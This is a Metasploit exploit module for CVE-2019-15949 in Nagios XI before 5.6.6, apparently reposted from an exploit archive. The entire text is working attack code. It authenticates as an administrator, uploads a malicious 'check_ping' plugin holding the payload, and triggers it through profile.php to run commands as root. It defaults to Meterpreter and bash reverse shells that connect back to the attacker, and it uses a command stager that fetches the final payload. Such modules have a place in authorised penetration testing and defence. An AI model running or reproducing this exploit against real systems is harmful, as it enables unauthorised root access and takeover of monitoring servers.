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Nagios XI Authenticated Remote Command Execution

2020-03-14 17:24
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(update_info(info,      'Name'            => 'Nagios XI Authenticated Remote Command Execution',      'Description'     => %q{        This module exploits a vulnerability in Nagios XI before 5.6.6 in        order to execute arbitrary commands as root.        The module uploads a malicious plugin to the Nagios XI server and then        executes this plugin by issuing an HTTP GET request to download a        system profile from the server. For all supported targets except Linux        (cmd), the module uses a command stager to write the exploit to the        target via the malicious plugin. This may not work if Nagios XI is        running in a restricted Unix environment, so in that case the target        must be set to Linux (cmd). The module then writes the payload to the        malicious plugin while avoiding commands that may not be supported.        Valid credentials for a user with administrative privileges are        required. This module was successfully tested on Nagios XI 5.6.5        running on CentOS 7. The module may behave differently against older        versions of Nagios XI. See the documentation for more information.      },      'License'         => MSF_LICENSE,      'Author'          =>        [          'Jak Gibb',       # https://github.com/jakgibb/ - Discovery and exploit          'Erik Wynter'     # @wyntererik - Metasploit        ],      'References'      =>        [          ['CVE', '2019-15949'],          ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit        ],      'Payload'        => { 'BadChars' => "x00" },      'Targets'        =>        [          [ 'Linux (x86)', {            'Arch' => ARCH_X86,            'Platform' => 'linux',            'DefaultOptions' => {              'PAYLOAD'     => 'linux/x86/meterpreter/reverse_tcp'            }          } ],          [ 'Linux (x64)', {            'Arch' => ARCH_X64,            'Platform' => 'linux',            'DefaultOptions' => {              'PAYLOAD'     => 'linux/x64/meterpreter/reverse_tcp'            }          } ],          [ 'Linux (cmd)', {            'Arch' => ARCH_CMD,            'Platform' => 'unix',            'DefaultOptions' => {              'PAYLOAD'     => 'cmd/unix/reverse_bash'            },            'Payload' => {              'Append' => ' & disown',  # the payload must be disowned after execution, otherwise cleanup fails              'BadChars' => """            }          } ]        ],      'Privileged'      => true,      'DisclosureDate'  => 'Jul 29 2019',      'DefaultOptions'  => {        'RPORT' => 80,        'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request.        'WfsDelay'          => 10        },      'DefaultTarget'   => 1))    register_options [      OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']),      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])    ]    register_advanced_options [      OptBool.new('ForceExploit',  [false, 'Override check result', false])    ]    import_target_defaults  end  def check    vprint_status("Running check")    #visit Nagios XI login page to obtain the nsp value required for authentication    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php')    unless res      return CheckCode::Unknown('Connection failed')    end    unless res.code == 200 && res.body.include?('Nagios XI')      return CheckCode::Safe('Target is not a Nagios XI application.')    end    @nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''    if @nsp.to_s.eql? ''      return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.'    end    #Attempt to authenticate    @username = datastore['USERNAME']    password = datastore['PASSWORD']    cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon    auth_res = send_request_cgi({      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/login.php'),      'method'       => 'POST',      'cookie'       => cookie,      'vars_post'    => {        nsp: @nsp,        page:  'auth',        debug: '',        pageopt: 'login',        username: @username,        password: password,        loginButton: ''      }    })    unless auth_res      fail_with Failure::Unreachable, 'Connection failed'    end    unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php"      fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'    end    #Check Nagios XI version - this requires a separate request because following the redirect doesn't work    @cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon    @cookie = @cookie.split().last #app returns 3 cookies, we need only the last one    version_check = send_request_cgi({      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/index.php'),      'method'       => 'GET',      'cookie'       => @cookie,      'nsp'          => @nsp    })    unless version_check      fail_with Failure::Unreachable, 'Connection failed'    end    unless version_check.code == 200 && version_check.body.include?('Home Dashboard')      fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'    end    @version = version_check.body.scan(/product=nagiosxi&version=(d+.d+.d+)/).flatten.first rescue ''    if @version.to_s.eql? ''      return CheckCode::Detected('Could not determine Nagios XI version.')    end    @version = Gem::Version.new @version    unless @version <= Gem::Version.new('5.6.5')      return CheckCode::Safe("Target is Nagios XI with version #{@version}.")    end    CheckCode::Appears("Target is Nagios XI with version #{@version}.")  end  def check_plugin_permissions    res = send_request_cgi({      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),      'method'       => 'GET',      'cookie'       => @cookie,      'nsp'          => @nsp    })    unless res      fail_with Failure::Unreachable, 'Connection failed'    end    unless res.code == 200 && res.body.include?('Manage Plugins')      fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.")    end    @plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''    if @plugin_nsp.to_s.eql? ''      fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.'    end    @plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon  end  def execute_command(cmd, opts = {})    print_status("Uploading malicious 'check_ping' plugin...")    boundary = rand_text_numeric(14)    post_data = "-----------------------------#{boundary}n"    post_data << "Content-Disposition: form-data; name="upload"nn1n"    post_data << "-----------------------------#{boundary}n"    post_data << "Content-Disposition: form-data; name="nsp"nn"    post_data << "#{@plugin_nsp}n"    post_data << "-----------------------------#{boundary}n"    post_data << "Content-Disposition: form-data; name="MAX_FILE_SIZE"nn20000000n"    post_data << "-----------------------------#{boundary}n"    post_data << "Content-Disposition: form-data; name="uploadedfile"; filename="check_ping"n" #the exploit doesn't work with a random filename    post_data << "Content-Type: text/plainnn"    post_data << "#{cmd}n"    post_data << "-----------------------------#{boundary}--n"    res = send_request_cgi({      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),      'method'       => 'POST',      'ctype'        => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header      'cookie'       => @plugin_cookie,      'data'         => post_data    })    unless res      fail_with Failure::Unreachable, 'Upload failed'    end    unless res.code == 200 && res.body.include?('New plugin was installed successfully')      fail_with Failure::Unknown, 'Failed to upload plugin.'    end    @plugin_installed = true  end  def execute_payload #This request will timeout. It has to, for the exploit to work.    print_status("Executing plugin...")    res = send_request_cgi({      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),      'method'       => 'GET',      'cookie'       => @cookie,      'vars_get' => { cmd: 'download' }    })  end  def cleanup()    return unless @plugin_installed    print_status("Deleting malicious 'check_ping' plugin...")    res = send_request_cgi({      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),      'method'       => 'GET',      'cookie'       => @plugin_cookie,      'vars_get' => {        delete: 'check_ping',        nsp: @plugin_nsp      }    })    unless res      print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")      return    end    unless res.code == 200 && res.body.include?('Plugin deleted')      print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")      return    end    print_good("Plugin deleted.")  end  def exploit    unless [CheckCode::Detected, CheckCode::Appears].include? check      unless datastore['ForceExploit']        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'      end      print_warning 'Target does not appear to be vulnerable'    end    if @version      print_status("Found Nagios XI application with version #{@version}.")    end    check_plugin_permissions    vprint_status("User #{@username} has the required permissions on the target.")    if target.arch.first == ARCH_CMD      execute_command(payload.encoded)      message = "Waiting for the payload to connect back..."    else      execute_cmdstager(background: true)      message = "Waiting for the plugin to request the final payload..."    end    print_good("Successfully uploaded plugin.")    execute_payload    print_status "#{message}"  endend

Source: 5600300202-BLW/eussi/moc.ytirucesxc

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